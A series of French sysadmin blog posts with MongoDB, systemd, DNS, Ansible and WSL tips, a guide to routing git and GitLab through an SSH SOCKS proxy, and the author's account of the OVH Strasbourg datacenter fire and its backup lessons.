J’avoue, j’étais un peu Ă©nervĂ©. DĂ©jĂ  que je suis pas spĂ©cialement fan (parce que je pratique pas assez, certainement), mais lĂ , quand mĂȘme
 Sur mysql/mariadb, dans un dump vous avez Ă  disposition moultes mĂ©tadonnĂ©es trĂšs pratiques pour savoir si ça peut bien ou mal se passer Ă  l’importation, Dedans, la version du serveur et de l’outil de dump utilisĂ©.

Apparemment ce n’est pas le cas avec mongoDB, en voulant transfĂ©rer les utilisateurs, voilĂ  ce que j’ai eu comme erreur pendant la restauration :

#commande du duump
$mongodump --db admin --collection system.users

#commande de restauration
$ mongorestore -d admin admin
2021-01-20T10:47:23.897+0100 the --db and --collection args should only be used when restoring from a BSON file. Other uses are deprecated and will not exist in the future; use --nsInclude instead
2021-01-20T10:47:23.897+0100 building a list of collections to restore from admin dir
2021-01-20T10:47:23.897+0100 assuming users in the dump directory are from <= 2.4 (auth version 1)
2021-01-20T10:47:23.898+0100 Failed: the users and roles collections in the dump have an incompatible auth version with target server: cannot restore users of auth version 1 to a server of auth version 5

La solution, dumper la collection « system.version Â» avec celle des utilisateurs parce que sinon il l’inclut pas de lui-mĂȘme !!!

$ mongodump --db admin --collection system.users --collection system.version

Vérifier les services en erreurs

AprĂšs l’incendie d’OVH et surtout le redĂ©marrage du serveur, je me suis retrouvĂ©e face Ă  une VM redĂ©marrĂ©e mais plusieurs services en Ă©chec Ă  cause de la lenteur (systemd arrĂȘte gĂ©nĂ©ralement ses actions au bout d’1m30s). Pour afficher la liste des services HS, c’est simple :

[root@vox ~ ]# systemctl list-units --failed
  UNIT                         LOAD   ACTIVE SUB    DESCRIPTION
● b3.service                   loaded failed failed LSB: Starts b3 Server Daemon
● certbot.service              loaded failed failed Certbot
● systemd-modules-load.service loaded failed failed Load Kernel Modules
● webmin.service               loaded failed failed LSB: Start or stop the Webmin server

Et hop, on est bon pour des start manuels (et dĂ©couvrir quelques services zombie du passĂ© qui n’ont rien plus Ă  faire lĂ  aussi, mais ça, c’est une autre histoire :D).

Pas de dig ? Les alternatives !

Eh oui, dig ne fait pas partie des commandes de bases dans toutes les distributions, il fait souvent partie d’un paquet « dns-utils Â» (ou dnsutils, ou dns-tools, aucune distrib n’utilise le mĂȘme nom !!), et pour des raisons frĂ©quentes d’optimisation, c’est encore moins souvent ajoutĂ© dans des images docker. Il est donc possible de reposer sur certaines alternatives.

La commande host est embarquĂ©e dans bind9-host, qui peut ĂȘtre souvent installĂ©e en dĂ©pendance d’un autre package. Idem pour getent, beaucoup plus facile Ă  trouver, puisqu’il est fourni par libc-bin, du assez bas niveau cette fois :

$ getent hosts blog.seboss666.info
91.121.61.180   blog.seboss666.info

$ host blog.seboss666.info
blog.seboss666.info has address 91.121.61.180

AprĂšs on en convient, pour du dĂ©bug de rĂ©solution DNS plus avancĂ©e, dig reste une trĂšs bonne trousse Ă  outils 🙂

Ansible : environnement conditionné !

Que j’en ai chiĂ© pour ça. Je devais travailler dans un environnement particuliĂšrement contraint oĂč les machines n’ont pas de rĂ©seau public, pas d’accĂšs au rĂ©seau extĂ©rieur, et mĂȘme pour joindre nos propres outils, un proxy spĂ©cifique dans le rĂ©seau privĂ© a Ă©tĂ© mis en place. Et je travaille sur deux datacenters diffĂ©rents, l’un en France, l’autre en Belgique, donc avec des proxy diffĂ©rents.

Je peux passer les proxys en variables d’environnement, mais il faut pouvoir identifier si l’on se trouve en France ou en Belgique. Par chance les domaines des machines permettent facilement d’identifier leur localisation, et c’est là-dessus que je joue avec Ansible, et des groupes de variables :

vars:
  proxy_fr_env:
    http_proxy: "http://proxy_fr.domain.tld:3128"
    https_proxy: "http://proxy_fr.domain.tld:3128"
  proxy_be_env:
    http_proxy: "http://proxy_be.domain.tld:3128"
    https_proxy: "http://proxy_be.domain.tld:3128"

tasks:

  - name: force chef-client configuration
    shell: "chef-client -c {{ chef_path }}/client.rb -o lin-chef-client"
    environment:
      "{{ proxy_be_env if 'belgium' in inventory_hostname else proxy_fr_env }}"

Ici, je met l’environnement au niveau des tñches qui en ont besoin, mais si vous pensez que c’est plus simple de foutre l’environnement au niveau global, ça fonctionne aussi 🙂

Ubuntu et WSL : mais c’est quoi ce masque ?

Je vais pas revenir sur mon setup WSL, vous le connaissez (sinon c’est Ă  relire par ici). Un truc qui m’a fait chier pendant un bon moment sans que je me penche sur le problĂšme avant trop longtemps, c’est le masque par dĂ©faut, umask de son petit nom. En effet, sur une installation fraiche d’Ubuntu WSL, si on vĂ©rifie c’est moche :

$ umask -S
u=rwx,g=rwx,o=rwx

Ce qui veut dire que tous les fichiers et dossiers seront avec des permissions pas du tout adaptĂ©es au schĂ©ma habituel des distributions dans le reste du monde (des vraies installations de Linux, en gros), c’est Ă  dire que c’est open bar pour tous les utilisateurs de l’installation (666 pour les fichiers, 777 pour les dossiers). Tout ça parce que sous Ubuntu, le masque par dĂ©faut est gĂ©rĂ© par un plugin pam_umask, mais pam n’est pas exploitĂ© par dĂ©faut dans ce cadre prĂ©cis de WSL. Du coup, faut aller soi-mĂȘme ajouter le correctif dans /etc/profile.d/umask.sh (Ă  crĂ©er Ă©videmment) :

umask 022

Et on peut lancer la commande à chaud si on en a besoin tout de suite sans relancer tout le bousin. On peut aussi adapter le masque si on veut du fichier privé par défaut (le masque sera alors 077).


Bon, est-ce que ça va permettre de dĂ©coincer un peu les sorties sur le blog ? l’avenir nous le dira. J’ai les mains actuellement dans les migrations, VPS tout d’abord, big serveur ensuite, et surtout l’ansiblisation de toute ça, sachant qu’il va y avoir Debian 11 bientĂŽt dans l’affaire, sait-on jamais, y’aurait peut-ĂȘtre quelque chose Ă  en dire !

  •  

Utiliser un proxy Socks SSH pour git et gitlab

Il n’est pas rare, pour des plateformes Kubernetes Ă  destination des clients, qu’on dĂ©ploie aussi un serveur Gitlab pour gĂ©rer les sources des packages Helm et autres Dockerfile Ă  l’usage des applications qui seront dĂ©ployĂ©es. Ce serveur voit ses accĂšs filtrĂ©s par IP, du coup, avec une IP dynamique (merci Orange), compliquĂ© de gĂ©rer en permanence des rĂšgles de flux pour y accĂ©der. Il y a heureusement une solution qui demande un peu de taf.

C’est dans le titre, l’idĂ©e va ĂȘtre de faire passer les connexions git et gitlab via un proxy Socks, créé par une connexion SSH. Cette connexion doit se faire sur une machine qui remplit deux critĂšres, avoir une ip fixe, et avoir accĂšs au serveur Gitlab. Si on Ă©tablit la connexion SSH au serveur en question, c’est parfait ! Et cette connexion passe par un rebond au travers du VPN du boulot, rebond connectĂ© au rĂ©seau privĂ© du gitlab par un autre VPN. Ouais le rĂ©seau c’est chiant, mais c’est souvent comme ça qu’on procĂšde, pas de connexions SSH via rĂ©seau public (et pas question de laisser le SSH ouvert Ă  grand vent).

Notez bien que la configuration « proxy Â» est utilisable mĂȘme avec un setup de rebond tel que je l’ai dĂ©jĂ  prĂ©sentĂ© par le passĂ©. C’est pas gĂ©nial ça ?

On commence donc par crĂ©er la connexion/proxy. Il s’agit simplement d’ouvrir un port dynamique qui sera automatiquement paramĂ©trĂ© en tant que proxy Socks. Avec OpenSSH sous Linux (ou Windows via WSL), c’est super simple :

$ ssh -D 9999 gitlab.domain.tld

À partir de lĂ , on peut configurer nos diffĂ©rents clients pour utiliser ce proxy afin de joindre le domaine utilisĂ© pour le gitlab. Si vous voulez ouvrir le port systĂ©matiquement, vous pouvez passer par le fichier ~/.ssh/config :

Host gitlab.domain.tld
  DynamicForward 9999

À ajouter aux autres Ă©ventuels rĂ©glages spĂ©cifiques pour cette connexion (user, clĂ© SSH particuliĂšre, etc).

Pourquoi pas le localforward ?

J’ai dĂ©jĂ  jouĂ© au localforward par le passĂ©, par exemple pour le master k3s. Ça fonctionne bien dans ce cas-lĂ , mais pour Gitlab, l’interface web me mixait des liens en 127.0.0.1:9999/groupe/projet/... et des liens en gitlab.domain.tld/groupe/projet/... et ces liens-lĂ  tombaient naturellement dans le vide. Pas du tout pratique donc, le proxy permet d’ĂȘtre complĂštement transparent, et de ne pas avoir Ă  jouer avec son fichier hosts, ce qui n’est dĂ©jĂ  pas une sinĂ©cure sous Linux, encore moins sous Windows.

D’ailleurs en parlant des windowsiens, pour ceux qui seraient coincĂ©s en enfer et qui utiliseraient encore PuTTY, voire MobaXTerm (oui y’a des masochistes), autant j’ai rĂ©ussi Ă  faire un truc avec PuTTY honteux au point que je ne dĂ©taillerai pas ici, autant MobaXTerm m’a rĂ©sistĂ©, impossible de crĂ©er un tunnel sur une machine derriĂšre un rebond. Windows 10 et 2021, prĂ©fĂ©rez WSL, ça fonctionnera trĂšs bien. Vous n’ĂȘtes pas obligĂ©s d’utiliser un navigateur dans WSL pour pouvoir accĂ©der au port en question, c’est pas super ça ?

Git, tellement souple

En ligne de commande, git est particuliĂšrement intĂ©ressant pour l’utilisation de proxy Socks. Pour un clone de dĂ©part, il suffit de paramĂ©trer la variable ALL_PROXY avant de faire son clone :

$ ALL_PROXY=socks5://127.0.0.1:9999 git clone https://gitlab.domain.tld/group/project.git

Quoi, c’est tout, c’est aussi simple ? Ben oui, par contre, c’est valable que pour la session en cours. Git est heureusement incroyablement intelligent, et vous pouvez configurer ce proxy pour le dĂ©pot de maniĂšre persistante :

$ git config http.proxy socks5://127.0.0.1:9999

Les prochaines commandes sur le dĂ©pĂŽt tenteront d’interagir avec l’upstream via le proxy configurĂ©. Et foireront si vous oubliez d’ouvrir la session SSH Ă©videmment. Nickel.

UPDATE: je suis tombĂ© sur un article dont j’ai perdu le lien qui explique que sur du git rĂ©cent on peut carrĂ©ment dĂ©finir le proxy pour tout un domaine dans la conf globale. Donc dans le ~/.gitconfig, ça ressemble Ă  ça:

[http "https://gitlab.domain.tld/"]
    proxy = socks5://127.0.0.1:9999

Du coup plus besoin de faire ALL_PROXY=... et git config ..., ça le fait automatiquement, y compris pour les nouveaux clones 😉

Gitlab, une affaire de navigateurs

Pour les navigateurs, c’est un poil diffĂ©rent. Pour Firefox, les paramĂštres sont natifs, ouvrez le menu des prĂ©fĂ©rences et cherchez proxy, vous verrez le bouton qui va bien.

Il suffit de configurer un proxy Socks 5, sans authentification, avec les mĂȘmes paramĂštres qu’au dessus. Attention, ça implique de passer toutes les connexions de tous les onglets en cours dans le proxy, car le paramĂštre est global. Pour une gestion plus fine, il faudra une extension permettant plus de contrĂŽles.

Pour les navigateurs basĂ©s sur Chromium, c’est plus compliquĂ©. Par dĂ©faut, il n’embarque aucun paramĂštre natif et repose, notamment sous Windows, sur le proxy global dĂ©clarĂ© dans les paramĂštres rĂ©seau. Il faut donc obligatoirement une extension pour faire le boulot, j’ai sĂ©lectionnĂ© Proxy SwitchyOmega qui m’a donnĂ© satisfaction.

Elle permet de dĂ©clarer plusieurs proxys, de facilement switcher entre les proxys, il y a mĂȘme un mode dynamique qui permet de switcher entre plusieurs proxys en fonction du domaine (je n’utilise Chromium que pour des besoins ultra ciblĂ©s, malgrĂ© tout, il arrive de devoir basculer rapidement d’un projet Ă  l’autre). Bref, vous aurez toutes les clĂ©s pour accĂ©der comme il faut Ă  l’interface de votre serveur Gitlab sans risque de conflits de liens/domaines.

Pas que pour Gitlab

Ce systĂšme de tunnel SSH est exploitable comme alternative aux VPN qu’on nous vend ad nauseam dans les vidĂ©os Youtube. Il m’est arrivĂ© de tester rapidement des accĂšs Ă  une plateforme par ce biais via plusieurs serveurs dans diffĂ©rents rĂ©seaux, pour Ă©vacuer un problĂšme dĂ©pendant du fournisseur d’accĂšs (dĂ©jĂ  eu un incident client dĂ©clarĂ© mais au final liĂ© Ă  Orange). Par contre, une des promesses des VPN est de pouvoir contourner les gĂ©oblocages mis en place par des plateformes de fourniture de contenu par abonnement, mais la plupart des ranges des hĂ©bergeurs sont dĂ©jĂ  identifiĂ©s et bloquĂ©s (vĂ©cu par un collĂšgue avec un VPS chez OVH au Canada pour tenter d’accĂ©der au catalogue Netflix US).

Dans l’absolu, vous pouvez faire passer tout type de trafic et d’applications, soit de maniĂšre native, soit de maniĂšre un peu dĂ©tournĂ©e. Entre le dĂ©but et la fin de l’écriture/mise en forme de cet article, j’ai rajoutĂ© tsocks Ă  ma trousse Ă  outils qui me permet de faire passer
 des connexions SSH au travers du proxy SOCKS ouvert
 par une autre connexion SSH. Oui, c’est assez tordu, et un jour je vous expliquerai peut-ĂȘtre l’immense bĂȘtise qui m’a poussĂ© Ă  devoir procĂ©der de la sorte.

  •  

Mon expĂ©rience de l’incendie OVH, ce que j’en ai tirĂ© comme leçons

Je pensais que vu le caractĂšre exceptionnel et les impacts, ça aurait dĂ©passĂ© la sphĂšre du monde de l’informatique. Mais non, l’incendie important qui a touchĂ© OVH, premier hĂ©bergeur d’Europe, et paralysĂ© plusieurs milliers de clients, est finalement restĂ© sous le radar du grand public. J’ai fait partie des victimes, et j’avais envie de vous partager un peu mon ressenti pendant ces deux semaines compliquĂ©es. Et comment je compte m’adapter.

Vous ne verrez pas ici de grosse critique de ma part sur la situation, hĂ©bergeur n’est pas mon mĂ©tier, et je n’ai pas assez de connaissances concernant les normes d’infrastructures informatiques pour donner des leçons. En dehors mĂȘme des vrais reproches qu’on pourrait faire Ă  OVH, aussi bien sur des problĂšmes passĂ©s qu’actuels, j’en ai beaucoup plus Ă  propos des rĂ©actions des clients, mais je vais tenter de me retenir aussi. La communication d’OVH pourrait aussi en prendre pour son grade, hein.

Petit descriptif chronologique

Donc pour rappel, au petit matin du 10 mars dernier, un important incendie a dĂ©butĂ© dans l’un des datacenters d’OVH, au petit nom d’SBG2, entrainant la perte complĂšte du datacenter en question, et donc tout ce qu’il contenait de machines, de rĂ©seau, de stockage : VPS, serveurs dĂ©diĂ©s, clusters VMware, datastores, et quelques backups, tout y passe. La proximitĂ© avec les autres datacenters faut que le voisin historique, SBG1, a pris aussi une bonne claque dans la gueule, avec Ă  ce moment-lĂ  la perte confirmĂ©e de 4 « salles Â» sur les 12 qui le constituaient. Je met « salle Â» entre guillemets car la construction d’SBG1 reposait sur un concept maison, sous forme de container maritime, une salle = un container. Je vais pas m’étendre trop sur le sujet, Ă  savoir qu’au final sur le site de Strasbourg, il y a actuellement 5 « DC Â», et qu’ils ont coupĂ© Ă©lectriquement les SBG1 Ă  4 par sĂ©curitĂ© pendant tout ce bordel.

Je dĂ©couvre ça le matin Ă  6h30, les pompiers sont eux en train de se battre courageusement contre le feu, et je me demande oĂč Ă©tait le serveur dĂ©diĂ©. De son cĂŽtĂ©, mon LibreNMS m’inonde de messages sur Telegram pour me dire que tout est HS. Je colle une bonne grosse maintenance pour lui couper la chique et me concentrer effectivement sur le serveur. OĂč Ă©tait-il ? En effet, il remonte Ă  2013, on l’a rĂ©cupĂ©rĂ© courant 2014, et j’avoue que jusque lĂ , Ă  part savoir qu’il Ă©tait gĂ©ographiquement Ă  Strasbourg, et que ça avait impactĂ© nĂ©gativement le ping sur les serveurs Call of Duty, ça n’avait jamais plus intĂ©ressĂ©. À ce moment-lĂ , les clients ne sont pas tous rĂ©veillĂ©s, donc je peux encore accĂ©der au manager OVH et voir que le serveur serait Ă  SBG4. Donc, en l’état le serveur ne serait que Ă©teint. Je suis pas forcĂ©ment super rassurĂ©, vu l’ñge du machin, on est pas Ă  l’abri qu’il ne redĂ©marre pas, mais au moins il n’a pas fondu. J’attaque donc ma journĂ©e de boulot moins inquiet que prĂ©vu.

Dans une certaine mesure seulement, nous gĂ©rons quelques infrastructures hĂ©bergĂ©es par OVH pour des clients, et on est salement touchĂ© : une plateforme mutualisĂ©e qui contenait une centaine de machines virtuelles est partie en fumĂ©e, une autre dĂ©diĂ©e Ă  un client a sautĂ© aussi, au total, bref, une vingtaine de clients se sont retrouvĂ©s la tĂȘte dans la fumĂ©e. Nos services managers se retrouvent Ă  jongler avec leur(s) tĂ©lĂ©phone(s) toute la journĂ©e, et deux semaines aprĂšs, certains sont encore particuliĂšrement en difficultĂ©, mais ce n’est pas le sujet ici. De mon cĂŽtĂ©, je surveille surtout les annonces notamment d’Octave Klaba, le patron d’OVH, qui pour l’anecdote est mon deuxiĂšme abonnĂ© Twitter lors de mon inscription en 2012. On a donc confirmation de la destruction complĂšte d’SBG2, partielle sur SBG1, SBG3 a Ă©tĂ© Ă©pargnĂ©, le 4 qui est derriĂšre le 3 aussi. Tout ce petit monde est en coupure de sĂ©curitĂ©. Le feu est maitrisĂ© dans la journĂ©e, les premiers constats commencent avec le retour des employĂ©s sur site, l’inventaire commence pour trouver des solutions aux clients. De mon cĂŽtĂ©, on m’annonce un rallumage Ă  partir du 15, une fois l’électricitĂ© remise en place et le rĂ©seau contrĂŽlĂ©. Je met un message sur Twitter qui a dĂ» en faire sourire plus d’un.

Donc pour info, le #blog est HS suite Ă  la coupure Ă©lectrique sur #OVH #SBG . Comme je suis un gros flemmard et que le rallumage est prĂ©vu pour lundi prochain, j'attendrais jusque lĂ . Pendant ce temps-lĂ , je vais prĂ©parer le nouveau serveur que je dois faire depuis six mois 🙂

— Seboss666 (@Seboss666) March 10, 2021

Si vous avez dĂ©roulĂ© le fil Twitter en question, vous avez la suite, mais bon, je rĂ©sume : le serveur est rallumĂ© le 18 mars au soir vers 22h, mais je ne reçois pas le mail avec les infos du mode rescue. C’est une particularitĂ© d’OVH, et une premiĂšre bĂȘtise de ma part, le contact utilisĂ© pour envoyer le mail est le contact technique. Celui-ci est diffĂ©rent du contact administrateur. Sauf que la boite mail que le contact technique utilise
 est normalement hĂ©bergĂ©e sur le serveur dans une machine virtuelle dĂ©diĂ©e. Qui est donc Ă©teinte. Donc pas d’infos. Et pour accĂ©der au manager OVH avec ce compte et consulter la copie du mail envoyĂ©, il faut rentrer un second facteur
 envoyĂ© par mail aussi. L’ouvre boite dans la boite, c’est gĂ©nial 😀 Je ne percute pas tout de suite, je suis claquĂ©, je vais me coucher pour rĂ©flĂ©chir aux solutions le lendemain matin. Et donc, vendredi matin, je tente avec ce que je connais dĂ©jĂ  comme info (la clĂ© SSH enregistrĂ©e sur le compte technique), et j’accĂšde donc au mode rescue permettant de procĂ©der au diagnostic, Ă  savoir vĂ©rifier l’état du RAID, des systĂšmes de fichiers, pour Ă©carter tout risque de corruption de donnĂ©es. Bref, tout Ă  l’air OK, et on redĂ©marre sur les disques. Je passe sur quelques difficultĂ©s de certains services Ă  redĂ©marrer, je les relance Ă  la main, le blog est de retour, youpi, je bip sur Twitter et je retournes bosser. Je suis quand mĂȘme content de retrouver mon FreshRSS pour pouvoir reprendre ma veille (et mes abonnements YouTube).

Le soir, je continue Ă  dĂ©piler les quelques 800+ entrĂ©es, et d’un coup sans prĂ©venir, plus rien ne rĂ©pond. Mon premier rĂ©flexe, une fois ma connexion vĂ©rifiĂ©e, c’est que le serveur a dĂ» crash; encore une fois, il n’est plus tout jeune. Je demande confirmation Ă  Arowan, qui n’accĂšde plus non plus, pour dĂ©couvrir moins de 10 minutes plus tard, un nouveau message d’Octave, qui annonce avoir recoupĂ© SBG1 et SBG4 pour vĂ©rification. Un peu plus tard, on apprend que c’est un deuxiĂšme dĂ©part de feu, sur un jeu de batteries d’onduleur, qui a du ĂȘtre maĂźtrisĂ© trĂšs vite. Mais sur SBG1, qui pour rappel, avait dĂ©jĂ  pris une bonne sauce avec le premier feu. Je termine la soirĂ©e sur un message encourageant indiquant un potentiel redĂ©marrage le lendemain dans l’aprĂšs-midi.

Samedi matin, apparemment c’est plus grave que prĂ©vu : il est dĂ©cidĂ© d’abandonner SBG1, de dĂ©mĂ©nager une partie des machines sur SBG3, ou carrĂ©ment Roubaix, soit plusieurs centaines de kilomĂštres entre les deux. De reconstruire l’électricitĂ© de SBG4 from scratch, et de remplacer le rĂ©seau prĂ©sent dans SBG1 par une nouvelle installation dans SBG5. Les dĂ©gĂąts sont donc plus importants que prĂ©vus. Et tout ça repousse le redĂ©marrage effectif de SBG4 au 24 mars. Je reviendrai dessus tout Ă  l’heure, mais comme j’ai plus que jamais besoin de mes flux RSS, je m’attaque Ă  l’accĂšs Ă  mes sauvegardes au moins pour celui-lĂ , et ça prendra un peu de temps. Je met Ă  jour le fil Twitter concernant le blog. En fin de journĂ©e, j’ai rĂ©cupĂ©rĂ© mon FreshRSS via une stack lamp dĂ©ployĂ©e avec docker-compose sur mon laptop, et il reste encore 250 flux RSS Ă  vraiment lire/visionner.

Fast-forward parce qu’il n’y a pas grand chose Ă  dire entre temps, une mise Ă  jour indique un redĂ©marrage des serveurs le 25 mars, et finalement c’est le bien 24 mars dans la soirĂ©e. J’ai encore le souci de services qui ont du mal Ă  cause de lenteurs disque, mais je remet tout en ligne, et depuis, tout va bien.

Le gros problĂšme : les sauvegardes

On va rentrer un peu dans le dĂ©tail technique, sans pour autant rentrer dans le trĂšs dur. Ma machine est donc un serveur dĂ©diĂ©, ce qui s’appelle maintenant « bare metal Â» dans le catalogue d’OVH, Ă  savoir, un vrai « PC Â» pour moi tout seul. Le service associĂ© comprend un espace de backup de 500Go, sachant que le serveur a une capacitĂ© de 2To. Ouais, faut faire des choix, ceci dit il existe des options (payantes et pas qu’un peu) pour augmenter cet espace. La particularitĂ© et l’intĂ©rĂȘt de cet espace, c’est qu’il est gĂ©ographiquement loin : serveur Ă  Strasbourg, backup Ă  Roubaix. Il y a cependant plusieurs inconvĂ©nients, dont certains ont eu des consĂ©quences sur mon usage rĂ©el de cet espace, et sur son accĂšs. Le premier, c’est sa performance : c’est tout simplement une catastrophe. Les dĂ©bits sont infernalement bas. Au dĂ©part, j’ai tentĂ© de plugger directement les backups de Proxmox dessus, mais les taux de transferts Ă©tant anĂ©miques (on parle d’1Mo/s, voire moins), ça prenait plusieurs heures mĂȘme pour une petite machine. J’ai donc laissĂ© tomber cette approche, et me suis concentrĂ© sur une sauvegarde « fichiers Â» des principaux sites webs de la machine vox, via backup-manager. Et au final, je n’ai pas fait grand chose de plus en termes de backup, ce qui n’est pas la meilleure chose, puisqu’il y a aussi sur ce serveur, une machine virtuelle « pare-feu Â» dont la configuration n’était pas sauvegardĂ©e, un machine virtuelle « mail Â» (celle que j’ai Ă©voquĂ©, qui contient les mails pour rĂ©parer le serveur
), une machine virtuelle contenant plusieurs serveurs de jeu Call of Duty, Minecraft, une machine Windows que je venais de remonter pour un ami qui voulait un serveur Hurtworld (parce que monsieur connait pas Linux
), bref, beaucoup de monde qui Ă©tait sans filet.

Chat = données, panier = backup storage

Quand bien mĂȘme j’aurais pu sauvegarder tout ce beau monde, il reste l’accĂšs Ă  ces sauvegardes. OVH a une approche conservatrice, Ă  savoir que via le manager, seules les adresses IP associĂ©es au serveur peuvent ĂȘtre autorisĂ©es Ă  accĂ©der Ă  l’espace backup. Sauf que toutes les IPs Ă©tant sur le serveur qui Ă©tait Ă©teint, j’étais coincĂ©. La premiĂšre solution apportĂ©e par OVH, c’est de commander une autre machine, de « dĂ©placer Â» une des IPs failover sur cette nouvelle machine, et hop, on a accĂšs au backup. Oui mais non, c’est pas au programme, les machines chez OVH ont doublĂ© de tarif depuis, c’est aussi pour ça que le serveur a huit ans. Sans parler qu’on a un historique peu glorieux en matiĂšre de fiabilitĂ© de dĂ©placement d’IP entre serveur, et en ce moment le support technique a d’autres chats Ă  fouetter. La deuxiĂšme solution qui a failli ĂȘtre bien sauf pour les humains, c’est l’utilisation de l’API pour ajouter une IP autre que celles du service. L’espoir d’accĂ©der directement aux backups depuis chez moi a cependant Ă©tĂ© vite douchĂ© par une petite mise Ă  jour de la documentation spĂ©cifiant que l’adresse IP doit ĂȘtre celle d’un service OVH. Le lot de consolation donc que cette IP n’a pas besoin d’ĂȘtre dĂ©placĂ©e d’un serveur Ă  un autre, ni qu’on doit prendre un truc de la mort, un simple VPS Ă  3€ par mois suffit. Ça tombe bien, le LibreNMS est sur un VPS OVH, je l’ajoute donc via l’API (en vrai, via l’interface web c’est assez facile), et quelques minutes plus tard, j’ai enfin accĂšs Ă  l’espace backup, et je peux rĂ©cupĂ©rer mes backups, les derniers datant du 9 au soir, soit juste avant le dĂ©but de l’incendie.

Et je m’en suis sorti comme ça en attendant le rallumage. Mais le fait est que si j’avais Ă©tĂ© encore plus nĂ©gligeant, ou que le serveur avait Ă©tĂ© dĂ©truit, j’aurais tout perdu (ce qui Ă©tait arrivĂ© Ă  Nicolargo par exemple).

Quels sont les constats de toute cette histoire ?

DĂ©jĂ , que je suis chanceux : ma machine n’a pas Ă©tĂ© dĂ©truite ou endommagĂ©e par l’incendie, alors que certains ont tout perdu. Pour le dire rapidement, certains avaient leurs sauvegardes physiquement proche de leurs machines, et tout Ă  Ă©tĂ© dĂ©truit en mĂȘme temps. La recommandation est d’avoir son backup gĂ©ographiquement Ă©loignĂ©, sauf que la plupart du temps, l’option coĂ»te vite assez cher : le Backup as a Service des offres Private Cloud fait un x3 sur le tarif quand on veut que les backups soient stockĂ©s Ă  Roubaix quand le cluster est Ă  Strasbourg. Et ceux qui laissent volontairement tout backup de cĂŽtĂ© pour gratter quelques euros vont maintenant payer beaucoup plus cher d’avoir tout perdu (j’avais dit que les clients allaient prendre un taquet ?).

À Copier 200 fois

Ensuite, que ma politique de sauvegarde est salement incomplĂšte : je l’ai dit, j’avais carrĂ©ment laissĂ© tomber certaines machines virtuelles, mais ce que j’ai Ă©galement constatĂ© en fouillant dans les backups disponibles, c’est que si je sauvegarde les fichiers et les bases de donnĂ©es des sites web, je n’ai rien gardĂ© des configurations de Nginx ni de PHP que j’ai utilisĂ© pour les diffĂ©rents sites. Donc mĂȘme avec les fichiers, il me manque certains Ă©lĂ©ments pour remonter Ă  l’identique, en tout cas dans une configuration la plus proche possible, un environnement d’exĂ©cution pour les sites. Je n’avais non plus aucune mĂ©thode sur le moment pour accĂ©der Ă  l’espace de backup avant qu’OVH finisse par communiquer dessus. Je suis donc restĂ© plusieurs jours sans pouvoir restaurer certains Ă©lĂ©ments mĂȘme de maniĂšre temporaire (mes flux RSS) le temps de rĂ©tablir le service. Au passage, le VPS n’est sauvegardĂ© nulle part, et je l’ai appris avec douleur lors d’une mauvaise manipulation qui a supprimĂ© beaucoup plus de fichiers que prĂ©vu sur le site web de mon Ă©quipe. Ce VPS Ă©tant Ă  Gravelines, il est dĂ©jĂ  gĂ©ographiquement Ă  part du serveur, ce qui Ă©tait justement un des buts recherchĂ©s.

Pour discuter en dehors de ma situation, j’ai vu quantitĂ© de messages et d’articles sur le sujet. On se croirait dans la situation de la pandĂ©mie, avec un Ă©pidĂ©miologiste derriĂšre chaque compte Twitter, et une cohorte de cerveaux lavĂ©s aux discours des « cloud providers Â» amĂ©ricains qui pensent qu’OVH faisait gratuitement plusieurs copies gĂ©ographiques de toutes les donnĂ©es de tous les services de tous les clients. La mĂȘme rĂ©flexion qu’on avait pu voir quand des clients mutualisĂ©s avaient souffert lors de la perte du SAN mutu-pro deux ans auparavant, suite Ă  une fuite de watercooling. Des boutiques en ligne, donc une activitĂ© commerciale, hĂ©bergĂ©es sur des offres Ă  3€, aux garanties et services trĂšs faibles donc, et qui demandent des comptes Ă  l’hĂ©bergeur
 Je pratique AWS, GCP et Azure au quotidien, et s’il est certainement plus facile de mettre en place des gardes-fous, sauvegardes, rĂ©plications multi-zones/rĂ©gions, rien n’est automatique ou presque, et surtout, rien n’est gratuit. Une instance CloudSQL (Database as a Service), en haute disponibilitĂ©, ben ça vous coĂ»te deux fois plus cher que sans la haute disponibilitĂ©. Mais si Ă  la main c’est chiant Ă  faire, lĂ , vous cochez une case et tout est fait pour vous. Et la case n’est pas cochĂ©e par dĂ©faut. Donc tous ceux qui se plaignent sont ceux qui ne veulent pas sortir leur portefeuille pour fiabiliser leur activitĂ©.

Et avec tous les clients qui ont vu passer l’incident et qui nous font chier sur l’absence de DRP/PRA (parce qu’à un moment donnĂ© il faut le dire), on leur rappelle que la facture serait deux Ă  trois fois plus Ă©levĂ©e s’ils en voulaient. Et dans la quasi-totalitĂ© des cas, ça se finit en « ouais finalement on va rester comme ça, Ă  la limite si les backups pouvaient ĂȘtre multi-zones ? Â». Et allez pas croire que mĂȘme les plus grosses structures sortent les moyens plus facilement, c’est mĂȘme souvent l’inverse.

Qu’est-ce que je prĂ©vois de faire pour Ă©viter les futurs problĂšmes, et surtout m’en remettre plus facilement ?

J’ai dĂ©jĂ  modifiĂ© la configuration de backup-manager pour inclure PHP et Nginx, en plus des fichiers et bases de donnĂ©es. Pour le reste, je n’ai pas prĂ©vu de pousser beaucoup plus dans l’immĂ©diat, pour la bonne et simple raison que j’avais dĂ©jĂ  prĂ©vu, mais je vais accĂ©lĂ©rer, le dĂ©mĂ©nagement de tout ce bazar vers une installation plus rĂ©cente, et surtout, pas chez OVH : comme je l’ai dit, je n’ai pas envie de rester chez eux pour ce besoin-lĂ  en particulier parce que l’offre n’est plus intĂ©ressante. La gamme OVH est devenu inintĂ©ressante techniquement (Intel Only), notamment dans les gammes de prix que je vise, un remplaçant actuel me coĂ»terait presque deux fois plus cher. La gamme « SYS Â» utilise du matĂ©riel qui la plupart du temps date de l’époque de mon serveur actuel, donc niet. Et l’offre Scaleway actuelle ne m’attire absolument pas.

